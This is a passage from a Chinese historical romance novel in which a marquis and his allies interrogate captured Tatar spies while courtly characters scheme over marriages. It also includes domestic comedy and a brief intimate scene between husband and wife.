到此为止,山房内尚且风平浪静,什么都看不出来。 陆慎如到外面吩咐了几句事,待刚回到厅里,门房来报,又来了人。 “谁人?”魏琮问去。 门房上前,“回世子,是李太医前来给您复诊,一并前来的还有蒋太妃娘娘派来的人。” 李太医,蒋太妃? 魏琮伤病如何,是瞒不过李太医的,而蒋太妃更是年嘉的祖母。 魏琮同陆慎如对视了一眼,让人去请年嘉郡主往两人下榻的小院去,魏琮也起身前往。 李太医一如先前,给魏琮复诊了伤势,说他一日比一日见好。 又同年嘉笑道,“在下已替郡主,将话与王妃带到了。” 他这话说完,朴嬷嬷便笑了起来。 蒋太妃娘娘此番让朴嬷嬷,亲手做了许多药膳吃食带过来,朴嬷嬷道。 “太妃娘娘也已经晓得了,郡主照看世子上心,只怕郡主也累着,所以老让老奴带了吃食。” 朴嬷嬷带来的东西可不少,又同年嘉道。 “除了给郡主和世子的,还有给侯爷和夫人的。” 难怪里面有些青州口味的吃食,原来是给静娘的。 “可见娘娘不只疼我一个!” 她撇嘴挑眉,魏琮笑着看了看她,朴嬷嬷更笑起来,接着又想到什么,叫了人上前。 是个小厮,怀中抱了两大翁陶瓷罐。 “我们六爷听闻郡主和世子在此休养,特送了这两大陶罐的山泉水,请郡主和世子吃茶。” 蒋枫川的小厮说了这两罐泉水的来历,竟都是红螺寺的住持相赠的。 “那可真是好东西,替我与世子谢谢六郎了,我们只等着殿试一过,蒋家又出新科进士,摆宴吃酒。” 朴嬷嬷又同年嘉说了几句,只是此间是陆侯的山房别院,她便避了嫌,没有去见杜泠静,眼见着天色不早,便带着蒋枫川的小厮与李太医一道,回了京城。 魏琮折返回了西院,见侯爷跟他摇了摇头。 风平树静,尚无动静。 已是第三拨人了。 年嘉并不晓得两人的事,但让人抱了两大瓮山泉水,往后院寻了杜泠静。 杜泠静抬眼看过去,年嘉便笑道。 “六郎让人送了泉水来,”她轻了些声,“我料想未必真是给我的。” 年嘉和魏琮,可没有喜用山泉泡茶的癖好,此间谁最好此道,不言而喻。 杜泠静愣了愣,年嘉坐到她身边,“六郎还挺孝敬你?” 孝敬? 杜泠静笑着摇头,“我又不是他的贵人、长辈。” 年嘉眨眨眼。 但静娘可是那蒋六郎的“嫂子”。 但三郎已经不在了,她没得说这话让静娘失神。 只道,“反正是送来给咱们吃的,咱们今日就拿来煮茶。” 说着还让人把朴嬷嬷的点心取了来,齐齐摆在桌案上。 杜泠静亲自舀了山泉水来煮,舌尖浅尝一口,便尝出这又是六郎从红螺寺的住持处得来的。 他先前就给她送过住持处得来的山泉水,是作为她给她评阅文章的谢礼。 今次又送,莫不是她给他那贺礼的回礼? 但他这次打了给年嘉和魏琮的名义,不然某位侯爷知道了,又要犯一些疯病…… 她只怕某人犯病,又想着赶紧把这两瓮泉水吃了算了,倒也没思量蒋枫川旁的意思。 泉水清透甘甜,颇合她的口。 杜泠静与年嘉刚吃了半杯,就隐隐听见外间又有脚步声。 “今日怎么这么多人上门?” 年嘉抬头问了一句,“这回又是何人?总不能是贵妃娘娘也派人来了吧?” 她的婢女去问了两句,不时返回来,特特看了自家郡主一眼。 “回郡主,不是贵妃娘娘的人。是……锦衣卫。” 锦衣卫,魏玦的人。 只去了前院,没往她们这处来。 年嘉顿了顿,没再多问一个字,只捏了茶盅继续吃茶。 杜泠静默默瞧了她一眼,亦未多言。 …… 山房西院,送走锦衣卫,陆慎如和魏琮相互对了个眼神。 魏玦得知了昨夜前夜,陆侯拿人的些许风声,他并未亲自过来,派了人前来问陆慎如可有受伤,可否需要锦衣卫协助。 锦衣卫眼观六路、耳听八方,魏玦第一时间知道此事不稀奇。 这会锦衣卫的人问过,见侯爷无有差遣,也很快离了去。 日头逐渐西斜,陆侯双手支了下巴,抬眸看了一眼天色。 “今日应该就这四拨人了。” 魏琮也看了一眼天色,问崇平,“牢里还没动静?” 崇平点头应是。 陆慎如道不急,“必会有的。” 细作背后的主子,当然不能看着这些细作就这么落到了旁人手里。 搭救极难,灭口却容易。 陆慎如叫了崇平,“把那个汉人细作看好了。” 崇平明白。 说话间时候已经不早,山房别院果然没再来人。 杜泠静遣人过来问了饭。 四人在后面花园里一道用过饭,天色暗了下来,如同浓墨滴入水中,黑夜的天幕自上而下的滑落四野之间。 鸟鸣啾啾,闲云悠悠。 但西院里突然有了动静。 杜泠静见魏琮转头向西院方向看去,缓缓起了身。不过几息的工夫,崇平快步而来。 陆慎如饮完杯中余酒,瞧向崇平。 崇平上前。 “侯爷,世子,两个鞑靼细作死了。” 杜泠静听见“鞑靼细作”四个字,心下一跳。原来他前两晚,是去夜袭了鞑靼的细作。 可鞑靼的细作缘何会出现在京畿? 她不晓得其中的事,但他捉了细作回来之后,今日拢共上门了四拨人,眼下天才刚黑,便死了两个细作。 不过陆惟石的神色未变,魏琮也一副心中有数的模样。 两人随崇平回了西院。 西院火光旺盛,魏琮的亲卫取了几张纸页上前。 他道有人潜入了西院之中,杀死了两个鞑靼细作。这二人所知之事不多,严刑拷打之下,也只含混吐了几件陆慎如知道的旧事。 “但此番前来灭口的人,留了印记。” 魏琮的亲卫将几张纸页递了过来,纸页上所绘正是细作与同伙之间互信的隐秘记号。 陆慎如细细看了看,是极其特殊的鞑靼纹样,看似某个部族,但非是眼下活跃的几个大部族。魏琮也未见过。 他则问起前来灭口的人。 “来了几人?都不见了?” 下面的人沉声点了头,“是来了两人,身法极其凌厉,中了我等三箭,还遁没在了夜幕中。” 这群细作捉了十多年,来回交手多次,永定军都未能占到上风。 今日可巧来了四拨人—— 顺义县令,兖王派来的长史,李太医与蒋氏的人,还有锦衣卫。 今夜前来灭口的,必在这四拨前来探路的人当中。 到底是谁呢?值得细品。 不过陆慎如与魏琮也未思量着,立刻就能定定将人拿住,将幕后的主子扯出来。 他将细作接头的记号交给了魏琮细查,“看看到底是哪个部落。” 接着脚步往漆黑阴湿的大牢里走去,“那汉人细作无事吧?” 崇平道无碍,“照着侯爷的吩咐,提前将此人藏了起来。” 他在前引路,直到藏匿那汉人细作的牢前。 火把挑起,那人浸在黑暗中的双眼忽的被刺得一痛。 他四肢皆被绑住,此刻缓缓抬头看向眼前来人。 是那永定侯陆慎如。 男人身形高挺英武,火光照着他半张脸上,打在他瞳色深邃的眼睛里。 “还是不说?”他问,“那两个鞑靼人已被灭口。” 汉人细作眸色微微颤了颤,但这是意料之中的事。 落在陆慎如手上,不管是陆慎如,还是他们的主子,都不会让他们活下去。 那两个鞑靼人一死,他也快了。 身上严刑拷打的伤势痛到神经发麻,连痛意都在麻木中散去几分。 他在想可惜前来灭口的人没把他也杀了,不然就能解脱了。 但陆侯倏然开口,让人给他解了绑。 “不必再用刑了。” 汉人细作一怔,警惕地向他看去,却见火光轻颤着,陆侯眸色缓缓。 “我知道你晓得很多事,知道得越多,越不会轻易开口。重刑也不会让你开口。” 他道,“我不会让人给你用刑,当然也不会放了你,可是也不会让你死。” 他本就低哑的嗓音,此刻越发低缓。 “我会让你活着,你每活一天,就有再多活一日的希望。每一日的希望累加,你只会更想活下去。你只要肯开口,我便让你一直活着。” 他的话音字字传在他耳中,细作怔然向他看去。 他见男人微微闭了闭眼睛,又倏然睁开,火光聚在他眼眸中。 “一个有活下去的希望的人,我想他早晚会愿意开口。” “尤其,他是个汉人。” 汉人细作指尖颤了又颤,却见陆侯已转过了身,缓步而去。 * 四人在山房又逗留了一晚。 陆侯连日未上朝,堆积的案牍和信函数都数不过来,朝中那些文臣又少不得骂他假意称病,实则逍遥快活,骂他越发奸佞做派,让皇上万不可再纵容下去。 陆侯爷听了这些话,只是让人在回京前的这晚,多烤一只羊腿来。 年嘉嘀嘀咕咕,“他们这些西北行兵打仗的人,怎么这么喜欢吃烤羊,不腻吗?” 她在西北可将肉吃够了,看见滴着油的羊腿就胃中发晕。 她端了酒,拉着杜泠静往上风口去,“我连闻都不想闻。” 偏陆侯给他的娘子亲手割了一盘炙羊肉,让人端过来。 杜泠静见年嘉眼白都翻上了天,见杜泠静还真给他面子地,捏了一块吃了,不禁道。 “你与他倒是不见外,你们不也才成婚大半年而已?” 这话要怎么回答?杜泠静没回,反而把问题抛给了她。 “那郡主呢?都成婚三载了,还和世子如此见外?” 话音落地,酒气便从年嘉杯中散了出来,她脸色被酒气熏染的酡红一片。 “我跟你实话说吧,但我说了你不能笑话我,得帮我出主意。还不能让太妃和我母妃知道,不然她们二人要打死我!” “这么严重?”杜泠静挑眉,又眨了眼睛,“那我还是别听了。” 杜泠静说着还真要走。 年嘉气得跺了脚,“你要走就别回来!我把你当好人,你怎么变得跟陆慎如一样坏?” 杜泠静才没变得似某人一样。 她只是在逗年嘉,这会抿唇轻笑,见年嘉不似方才那般紧绷了,拉了她在树边坐下。 “你和世子到底怎么了?” 年嘉把最后的酒都喝了,把脑袋低在杜泠静的肩头上。 “就是……我跟他大婚的那晚,不、不太顺遂……” 她说魏家的人,她只认识魏玦。而魏琮长在西北,只来过京城几次,年嘉与他仅有过几面之缘。 “我对他一点印象都没有,两家定婚的时候,他亦不在京城。直到成婚前他才刚刚下了战场,从西北匆促赶来。” 年嘉小声在杜泠静身前。 “我晓得自己要嫁给他,他来做我的仪宾,我二人应当为魏氏,也为我裕王府,繁衍子嗣后代。但我对他实在是太陌生了,盖头掀开,我连他的脸都没看清,就入了洞房。” 她说她母妃之前特意教导过她,又让嬷嬷来跟她细细说过,大婚那晚更是指派了宫人在门外候着。 “越是这样,我越是紧张。尤其看到世子身形过于魁梧,他做到床边,床都在颤……” 杜泠静忽的想到自己刚嫁到侯府的那晚,情形虽有不同,但完全未能准备好的心绪却是一样的。 她见年嘉说起此事,面色果然紧绷到不行,她不由替她道。 “是彼时未能成事?还是世子他……” 世子用强吗?杜泠静觉得魏琮不像是那样的人。 她见年嘉俱都摇了头,把连藏在杜泠静肩膀后面,她只能看到她半边窘迫的脸。 “都不是……彼时世子见我太过紧张,便道之后再说,但我却觉等来等去,还不如赶紧办了算了。到底我也是天家郡主,怎能行事畏畏缩缩?” 她主动解了衣裳,主动把欲去睡榻的魏仪宾叫了回来,主动行了房。 但魏琮的陌生,令她实在是太过紧绷。 中途魏琮见她难耐又道先罢了,还摸了摸她的头发,可她却咬牙拉了他的手,没让他走…… “反正就是,最初我甚是威猛!我强行把房圆了,心想算是交差了,谁料后面,世子反客为主,我就……” 她说着都快哭了。 后来她一看见世子靠近床榻,就两腿发抖,连带着看见他就怕。 尤其刚成婚那年,多看魏琮一眼就脚底发汗。 年嘉没脸说了,都怪她霸王硬上弓,把自己的弦绷断了。 怎么会如此? 杜泠静愕然,都不知道说什么好了。 年嘉却闹心地不行。 “怎么办?” 这话她万万不敢跟她母妃和太妃说。 之前三年,西北战事频繁,魏琮不得空闲来西安寻她,两人分居两地,见面不易。但眼下双双回了京城。 年嘉把藏在心里的话,一口气说出来,反倒放松了些许。 她说起自己这桩婚事的由来。 “我同魏玦分道扬镳之后,婚事反而艰难起来。” 作为裕王府的郡主,她身份不低,可裕王早已过世,空荡的王府又配不上她郡主的身份。 但凡实权在握的京门子弟,看不上她,而看得上她的,都是些要么门庭寥落,要么子弟纨绔的。 先还有几家来说亲,年嘉心气高,心里又同魏玦赌气,不甘心这样草草下嫁,将来说媒的通通拒了出去。 谁想惹了不少人闲言碎语,越发地说裕王府什么都不是,难怪魏玦不肯娶她,所谓郡主,根本就是空的。 他们将她郡主的尊荣都踩在了脚下。 “我不知道世子是怎么听到了这些话。” 她说魏琮。 杜泠静低头看过去,见年嘉低声道。 “他从西北遥遥传了话到京城,他说,他要给我这个尊荣。” 他要娶她,就在旁人都说年嘉郡主和裕王府只是空架子的时候。 而他是忠庆伯府的世子,是西北军中掌权的将领,是赫赫战功在身的将军。 他要给她顶上这尊荣。 杜泠静愣住,不禁回头向魏琮看了过去,恰魏琮的目光,正就落在她怀里的人身上。 年嘉显然也察觉了他的目光,却红着脸没有抬起头来。 树下的风吹散年嘉身上的酒气,杜泠静听见她道。 她说她真没想过世子会愿意娶她,“我也想与世子熟络起来,其实自他受伤以后,我与他也熟悉了许多,但是……” 但是在那件事上,她还是满心的无措。 脚软腿颤是她能控制的吗? 她问杜泠静,“静娘你说怎么办?我就靠你了!” 杜泠静:“……” 左肩担着裕王府的血脉,右肩挑着忠庆伯的子嗣,她肩上的责任忽然变得极其重大。 她回想自己,虽然也波折了一下,但之后就顺了起来,某位侯爷于此一道,实在是不用她操心。 一时间她脑袋也僵住了。 她只能安慰年嘉先不要着急,“世子身子还没养好,且先等等,你们二人再相处些日子,或许就有了契机。” “只能这样了吗?” 年嘉靠在了杜泠静身上,杜泠静把她抱在了怀里,树叶飘落在两人的长发上。 她道,“别急,你容我先想想。” 不远处的男人皆转头看来。 魏琮眸色和软着落在他的郡主身上。 陆侯却瞧着他娘子放松的神色,连从眼角扫见他,也没有立刻转过头去,反而多看了他一眼,才缓缓收了目光。 这趟真是没白出来…… 星空降落在入夜的草地上,飘落的树叶如同绿色的蝴蝶翩然飞舞,风吹绿草如浪,呼吸间尽是空旷天地间的清新。 人世间的惬意,总是短暂如流沙,握在手中的瞬间,便是流失的开始。 京城总是要回去的。 次日上晌,四人上路往京城折返,还没能远远望见京门,不想就与另一路上转来的马车遇了个正着。 是保国夫人和万老夫人的马车。 众人停下相互见礼。 保国夫人没再同杜泠静多言什么,自然也没与年嘉说话,她只跟魏琮和陆慎如问了两句。 倒是杜泠静讶然看到万老夫人身侧,带了她二妹杜润青。 万老夫人和保国夫人是到京外寺庙上香去了,万老夫人带着外孙女一道不稀奇,但两次都带了杜润青跟在保国夫人身边。 杜泠静心下暗暗觉得不太对。 保国夫人膝下有两个儿子,但次子已经成婚,未成婚的只有魏玦。 可魏玦似乎并不想成亲。 若他不愿,这婚事又当以何种方式促成? 她皱眉暗猜,但当着年嘉的面,不好多说什么。 她不禁多看了杜润青两眼,二妹眼观鼻鼻观心地不理会她。 杜泠静回到了侯府之后,便叫了菖蒲,“你去顾家门外打听打听,二夫人和二姑娘的状况。” 菖蒲领命这就去了。 她又叫了阮恭,“让文伯把澄清坊西路收拾出来,过两日你与文伯亲自登顾家的门,看看能不能把二夫人和二姑娘接回杜家。” 万老夫人可不是一般人,之前二妹和婶娘在京外住也就罢了,如今住到了万老夫人眼前。 沧大哥才刚刚中第,若是在京闹出什么怪事来,整个青州杜氏只怕都要跟着损了名声。 第69章 京城, 黄华坊顾府。 自去岁中秋之后,顾府门庭冷落,从前进出往来的人, 似被秋风一扫而净,半个身影都不见了。 今日难得的有人上了门来, 可惜进府不久, 就被送了出来。 来人被顾府的大门关在外面。 府内,万老夫人的荣语堂中,她问了身前的女孩儿。 “青儿怎么垂着眉眼?难不成真想跟你大姐的人回杜家?” 方才进门又被扫地出门的人,不巧正是阮恭和文伯。 二人领了杜泠静的令, 来接二夫人和二姑娘回澄清坊住,但万老夫人不同意, 杜润青也不想回去。 那宅子不是他们二房的了,侯爷亲自为姐姐讨了回去,父亲只能双手奉上,侯爷还为姐姐又扩了东路出来。她去住做什么? 这会儿外祖母问来, 杜润青尽力提了提自己低垂的眉眼。 她说并无回杜家的念头, “青儿只是没想到, 他们会来接我。” 大姐姐之前确实让人递了话,说她想回去随时可以, 她没理会。不想大姐姐还真就让人来接了她。 难道大姐姐真的愿意接母亲和她回去住? 杜润青思虑繁杂起来,但诸多思绪刚冒了头, 就被她外祖母万老夫人几句话压住。 “你大姐若是真的诚心来接母亲与你,那她就该亲自过来。” 万老夫人说杜润青的母亲是杜泠静的婶娘, “要接回自己卧病在床的婶娘,她难道不应该亲自来吗?只指派两个仆从算怎么回事?别说她出不了侯府的门。” 杜润青被外祖母说得一愣,万老夫人抬手招了她上前来。 杜润青顺从着坐到她身边, 万老夫人低头看着外孙女,同女儿年少时真是相像,可惜女儿嫁去杜家,她原想着杜致礼是个能人,杜致祁也不会差。 不想老二杜致祁完全拎不清,如此也就罢了,连杜致礼都不提携。女儿嫁去没享受什么荣华富贵,反而出了意外,得了这疯病癔症。 她叹息着摸了摸外孙女的肩头。 “你娘前些日从床上掉下来,摔了头越发不好,哪日不得需要那些贵重药材源源不断?外祖母自是疼你娘,也疼你,但舅家的情形你也看到了。” 那舅舅顾大老爷顾扬嗣被陆侯一顿打,险些丧命,钱流水似地花出去,才保住了命,却瘸了一条腿,更是丧了名声,无人找他办事,也就没了大半的进项。 顾家只能靠着旧产过日子,这会还要养疯病变重的女儿。 “就你爹留下的那些钱,怎么能够?” 万老夫人说着,捏了捏外孙女的肩头。 “所以青儿你得尽快嫁人。只有你嫁去一处不愁钱财的人家,才能反过来养好你娘。” 相反,“若是你无法尽快嫁去那高门之中,你娘一旦没了,没人护着你不说,婚事也要往后推三年,那时你可就不小了,又没了娘,爹也不得用,还有什么好亲事等你?这辈子也就坏了。外祖母是怎么教你的,女子在这世道里,最紧要的是嫁去一个不愁吃穿的富贵门庭。” 人只要钱够,能解决身边九成九的糟心事,这是人世间的通识。 杜润青不敢反驳。 万老夫人见她“乖顺”,继续道。 “外祖母也上了年纪,谁知还能活几年。此番我给你找的,便是外祖母尽最大心力,为你寻到的最好的一门亲事了。” 国舅母保国夫人的长子,锦衣卫指挥使魏玦。 年轻高位的锦衣卫指挥使谁不想嫁,侯爷之下,也就是他了。 但杜润青还是觉得这事处处都是不妥。 魏指挥使并不想娶妻,可他母亲却急于要为他定下亲事。 她稍稍目露疑惑,便听见外叔祖母道。 “魏指挥使你也见了,一表人才不说,还是那等平和温润的性子,同传闻里的锦衣卫再不一样。他或许心里还放不下前人,但你只要嫁了他,他必不会亏待你。至于此事能不能成……?” 万老夫人先也有些犯愁,这些日却见保国夫人耐不住了。 年嘉郡主回京,不知何时才能走,魏玦的亲事一年一年拖着,再拖就变成怪事了。 现在京中就有传言那魏指挥使不能行人事,只是碍于他是锦衣卫,无人敢大声罢了。但再过几载还不去娶妻,就说不过去了。 所以保国夫人为儿子犯愁,而照着万老夫人自己的想法—— 这次那忠庆伯世子魏琮受了重伤,还留下一命来。若是改日他又上战场,且死在了战场上呢?年嘉郡主膝下无子,成了寡妇,保不齐兜兜转转又同魏玦在一处。 届时堂堂信云伯、锦衣卫指挥使,就只能娶个寡妇过门了。 反正不管怎样,保国夫人急于为魏玦娶妻,但又得不到魏玦点头。此事不能走寻常嫁娶之仪来办,就只能想些不同寻常的办法。 正儿八经的高门贵女,怎么肯走旁的路子?但青儿就不一样了,毕竟身份比京门贵女要差上一些。但好在她是杜家人,魏玦又最是敬仰杜氏。 至于成事的办法,她前几日接京外庙里住持的口,给保国夫人提了。保国夫人还不晓得是她的意思,转回来又借住持的口问她行不行。 到底这办法阴私了些。 可只要能成事,难堪点也无妨,莫要让外人知晓就是了。 但万老夫人并没立时告诉外孙女,怕她到底是在杜家读过书的,怕她不肯。 这会儿只道,“外祖母心有成章,此事你只管全然听了外祖母的意思来办,必然不会出错。” 杜润青莫名觉得这话有些耳熟,似乎外祖母让她与大姐换嫁,嫁给侯爷的时候,也说过类似的话。 可那件事就没能成,反而流言蜚语压不住,引得满京笑话…… 然而她与母亲就住在外家,凡事还要靠外祖母和舅舅。 不然她一个未出阁的姑娘能怎样?也去搅动得天翻地覆吗? 听外祖母的嫁人,未必是坏事。 杜润青低着头,“孙女明白。” 万老夫人又吩咐她照看好她母亲,又劝慰了她几句不要多想,更不要再想回杜家住的事。 “终归你大姐没这个诚心,也不会替你娘和你着想。” 说完,万老夫人抬手让她去了。 她前脚刚走,顾扬嗣就瘸着腿不耐烦地走了进来。 “娘可别让青娘回去,赶紧把她嫁出去,别再出了变数!” 万老夫人要重新得回京门月老的名声,而顾扬嗣也想要自己恢复名声,更重要的是,他每每看到自己这条瘸腿,就恨极了那永定侯陆慎如。 彼时他让锦衣卫将他调去,险些将他打死在锦衣卫里。 若是明日,锦衣卫指挥使魏玦做了他外甥女婿,那陆慎如还敢再动用锦衣卫打他? 说不定要反过来……若有一日,他能看到那陆慎如死在他眼前,就好了! 顾扬嗣满心都是恨意,眼下却只能催促万老夫人。 “娘这次一定要把事情办成,不然……” 他说不出可不然如何来,但万老夫人却他说到这里,脸色就青白不定,连忙上前哄了他。 “娘一定把事给你办成,莫要再动气伤了身子。此事娘心有成算,一旦促成,绝不会似上次一样再生变数。” 必得一举就令此事板上钉钉,变无可变。 魏玦必须要娶润青才行。 * 积庆坊,永定侯府。 阮恭近前把无功而返的事,禀给了杜泠静,他说万老夫人不放人,二姑娘在旁也不说话,二夫人则一直服药卧床,更不会有什么自己的意愿。 菖蒲也已经打听过了顾家门里的事。 “听说二夫人原本入顾府的时候还是好的,但入了顾府不知怎么就疯病更重,惊厥也更频繁,还从床上掉了下来,又摔了头,不似好征兆。” 杜泠静抿唇沉吟,秋霖嘀咕了一声。 “这也是奇了,在外面好生生的,去了顾家反而加重病情。知道的顾家是二夫人娘家,不知道的,还以为是什么虎狼窝,惊吓到了二夫人。” 秋霖嘀咕完,见杜泠静还蹙眉,又道,“二姑娘不肯回来,夫人又有什么办法?到底是分了家。” 确实。 分家是她要分的,再回过头强行插手二房的事终归是不好。而她那二叔更是指望不上。 杜泠静只怕真闹出什么事来,整个青州杜氏都被连累名声,当下只能让阮恭和菖蒲继续盯着。 “看他们到底想做什么。” 她又把心思放到了归林楼上来。冯巷果然没受落榜的影响,眼下已理出一套今岁会试的中榜时文。 他打理起书楼和印社,可比读书科举有劲头多了,昨日就把草本送到了侯府里。 杜泠静有他帮忙打理归林楼,处处事半功倍,偏偏某人还总不给人家好脸色,也不想想归林楼立起来,是为谁人省了钱,甚至增添了进项。 这会杜泠静把冯巷送来的时文选粹看过,见几乎没什么问题,就吩咐了阮恭将赵掌柜请来,准备付梓流布,趁着殿试未过,读书人还都汇聚京城内外,将这今岁科举的时文选粹好生卖上一卖。 一来,给归林楼回一回本,二来,等殿试之后,这些读书人纷纷离京还乡,也能将这些中榜时文带回各地,那么各地的读书人便都能读得到了。 她刚疲了眼睛,秋霖就过来提醒她,“夫人该歇歇眼睛了。要不夫人去瞧瞧安侍卫?奴婢见安侍卫能下床走动了,只是还得拄拐,颇为不易。” 她提及受了重伤的崇安,杜泠静便起了身来,打听了崇安在后院里走动,寻过去,果见他一瘸一拐地努力在行走。 原先的崇安身法灵巧极了,年纪虽然轻,但阖府上下比他练武秉性高的还真就不多,他亦引以为傲。 此番受了重伤,连路都走不成了,杜泠静远远看着少年垂着头,不禁上前叫了他。 “是不是还要再卧床些日子才好?我听平侍卫说,伤势尚在可愈之列,倒也不必太着急。” 崇安连忙给她行礼,被她免了,听见她劝慰,少年赶忙收了面上愁闷之色。 “夫人说的极是!属下确实有些心急了,实在是因为卧床太闷……” 他说到这又赶紧道,“但这本就是我等该做的,粉身碎骨也要保侯爷安稳,决不能让侯爷受伤!” 这话那日崇平说过,今日又从崇安口中说出来。 杜泠静默了默,想到那位侯爷。 永定军奉给他无可比拟的特权,他亦为永定军挡在风浪的最前面。 这与父亲和拂党的关系又不太一样,是更为交错紧密,更为血肉相连…… 原来世间还有这样的关系,是她从前在勉楼里未曾读到过的。 杜泠静抬头,目光扫过整个永定侯府,仿佛看到了这侯府外面围着拥着的,千千万万的西北兵将。 思绪刚飞起,就被菖蒲的声音叫了回来。 菖蒲嘻嘻地跑到她和崇安面前,见崇安还拄着拐便道。 “安侍卫,你这回可得给我大钱!” 自从菖蒲进了府里,崇安不止一次被他“骗”了钱,这次一听见“钱”字,就立刻警觉道。 “我都这样了,你还来骗我钱?我是什么冤大头吗?!” 杜泠静也盯了菖蒲,看他又搞什么怪。 却见菖蒲转身让人推了一辆木头轮车来,他把这轮车直接推到了崇安身后。 “这可是工部的匠人做出来的最新的轮车,市面上可没有,我好不容易弄来的。安侍卫快坐下试试,保准灵便!” 竟是轮车,倒解了崇安卧床的烦闷。 杜泠静暗笑菖蒲算是对崇安“良心”了一次。 不想崇安却不肯坐,“轮车能有多灵便?还不如我练着走动!” 他说着又看菖蒲,“况你还不知道,要跟我要多少钱!” 他很是提防,菖蒲倒也不勉强,反而自己坐了上去,调了调左右把手,竟呼呼生风地就摇动轮车走动起来。 莫说崇安,连杜泠静都看住了,“看起来确实很灵巧。” 这回崇安有些意动了,再见菖蒲又溜了一圈,比他拄拐不知方便多少,不由就道。 “那我试试?” 菖蒲嘻嘻笑,把轮车让给他。崇安一坐上去,就不想下来了。 “还、还真挺好使……”但他又警惕,“你要跟我要多少钱?” 菖蒲连道不多不多,“就翻一倍而已。” “翻一倍?!”崇安差点从轮车上跳下来,“你心也太黑了!我不如自己去外面买!” 不想菖蒲早就算到,笑着说他是不可能买到的。 “这是个样品,我好不容易弄到的。安侍卫就算现在去买,也没有现成的,少说要等半个月,可半月后你都快好了,还要什么轮车?” 崇安若是想要用,就只能翻倍从菖蒲手里买。 崇安气得头发都要炸了起来。 杜泠静不禁要上前开口,道她买了,不必崇安花钱,转赠给崇安便是。 她还没开口,艾叶就跟她摇了摇头。 杜泠静眨了眨眼,听见崇安问菖蒲到底呀多少钱,菖蒲伸出了五根手指头。 “五十两?!你怕不是翻了十倍的价?!”崇安两眼瞪得似牛。 菖蒲连忙让他别急,“是五两啦!” “五两……” 崇安一愣,下一息直接把钱袋子扔给了菖蒲。 “钱给你了,你可不许反悔了!” 说完,银货两讫,坐上轮车就往另一处去了。 菖蒲在他身后嘻嘻笑,“安侍卫下次也记得照顾我的生意!” 崇安远远地哼哼,“黑心商贩!” 但杜泠静却笑看了菖蒲一眼,“真这么便宜?” 菖蒲眨巴眨巴眼睛,“其实小人是十五两买的,平素在安侍卫身边赚多了,也得回馈他些许不是?这般下次还能继续赚他。” 杜泠静笑起来,以后该让他跟赵掌柜干去,一脑门的生意经。 她转头,让秋霖支三十两银子给菖蒲。 菖蒲险些跳起来,“夫人今岁在归林楼,必能赚到大钱!” 杜泠静借他吉言,心绪也被他这一闹,扬了起来。 她倏忽想起刚嫁进侯府的时候,崇安就是在这湖边,与嚣张跋扈的大鹅斗法。彼时秋霖跟她猜测,侯府的后院里会不会住着侯爷的姬妾,比如鞑靼歌姬之类。 但这话却不小心被某人听到了,他亲自上前辟谣。 “我没有妾室,也没有通房,更没有什么鞑靼的公主或者歌姬,给我生过孩子。” 他道,“我只有你。” …… 杜泠静回身坐到了湖边的亭子里,绿波荡漾,白鹅难得温顺地成群游在绿波之中。 如果按照他的说法,他在三年前中意了她,那他府邸空着,是等了她三年吗? 但若不是三年前,是更早,那么他一直等着她,是等了多久? 陆惟石的心思,是一根针落入这湖里,不,是落进海底。 真是令人难以捉摸。 杜泠静托了腮,侧身倚在湖边亭中的栏杆上,柔风轻抚她面颊。 忽然,湖对岸发出两声惊叫。 她转头看去,只见菖蒲推着崇安的轮车飞跑,猛然在湖边刹不住了,两人惊叫着,扑通一下齐齐掉进了湖里。 湖中难得温顺的大鹅,立时暴躁地飞了起来。 湖面上纷纷落下无数白色鹅毛,被两人扑腾着,顺水涌进两人嘴里。 菖蒲和崇安,吃了一嘴的鹅毛。 杜泠静实在没忍住,轻轻笑出了声。 而闻声赶来的府中侍卫和仆从,更是站在湖边笑得前仰后合。 偏偏崇安受了伤不好搭救,最后还是崇平亲自前来…… 日光照得湖水如披上金沙,灵灵闪亮。 人都救了上来,杜泠静还在笑。 有人从她身后环抱了她,“在笑什么?” 是陆惟石。 杜泠静转头稍稍瞥了他一眼,就立刻收了笑意。 “哦,一看见我就不笑了。”男人在她耳畔哼哼。 杜泠静起身,又自眼角瞥了他一眼。 既然做了夫妻,夫妻间又有什么不能说呢? 她不想再理他,男人倒也随着她起了身。 两人刚走了几步,就看到了崇平。 男人瞧着崇平挑了眉,“怎么弄了一身的水?” 崇平满身洇水,面露窘然。 他怎好跟侯爷说,他那不着调的弟弟没好生养伤,反而掉进了湖里。 崇平说不出口,杜泠静却想到方才,崇平亲自打捞那二人的样子,又忍不住抿唇而笑。 陆侯微怔,低头看向他娘子扬起的柔眉与笑眼。 “看来我不在的时候,府里是发生了大事。” 他低声叫她。 “娘子到远岫阁,跟我好生说说吧。” …… 远岫阁,杜泠静又被他弄了来。 有幕僚请了他去厅里说话,杜泠静坐在他书案前生气,却见他书案上摆了张纸,上面绘了个看似鞑靼部落的图样。 他恰走了进来,“是细作留下的。娘子见过吗?” 杜泠静没见过,也未在书中读到过类似的描述,摇了摇头。 他也没指望她能见过,同她简言那日捉了三个细作的事。 “鞑靼人与汉人能在一处为人做事,且永定军捉了十多年都捉不到,不知何人的人。” 杜泠静想到那日前来山房的四拨人。 她也没有头绪,却不禁想起父亲回京复职,临行前说的话。 父亲说这看似安稳如山的天下,“实则风雨飘摇,可能就在一夕之间。” 他说他或许不能救国,“却总要做些什么,尽力挽之,直至天安。” 她无法留住父亲的脚步,只能看着他义无反顾地走了。 男人又出去了一趟,杜泠静默然看了那细作留下的图案许久。 …… 夜间的帐中,他用枕头高高叠了,垫在她腰下。 她不肯垫着迎他合他,转动着抽身要走,他却非要将她控在高枕之上,压着枕头将她紧实压进她怀中。 锦枕湿漉,他还握着她的手臂反复,又哑声。 “泉泉给我生个女儿吧。” 杜泠静脑袋都是糊的,滴滴答答的汗从脖颈滴落下来。 他又要女儿,他什么都想要! 她咬了牙,“侯爷该早睡,梦里跟周公去要!” 然而她话音刚出口,他立刻压至与她半分空隙都没有,交叠茂密中湿热滚烫,里间更是被高高撑起,撑到她的脚背紧绷到发颤。 她已招架不来,又气得要坏了读书人的矜持,想要咬人。 他却先咬了她的耳边。 “我只跟泉泉你要……” 后半夜的浴房里。 他帮她洗了,抱了她坐在竹床上,低头蹭了她的鼻尖。 月光照在漫了水的地板上,他轻轻捏了她的腰。 “泉泉跟我和好吧?” 月光从地板上的水中,反照进他眼眸里,他发梢湿漉着,连带着英眉与深眸都柔和湿润起来。 杜泠静仰头被他锁在眉眼里,看着此刻他湿润的眉眼,有种别样的感觉。 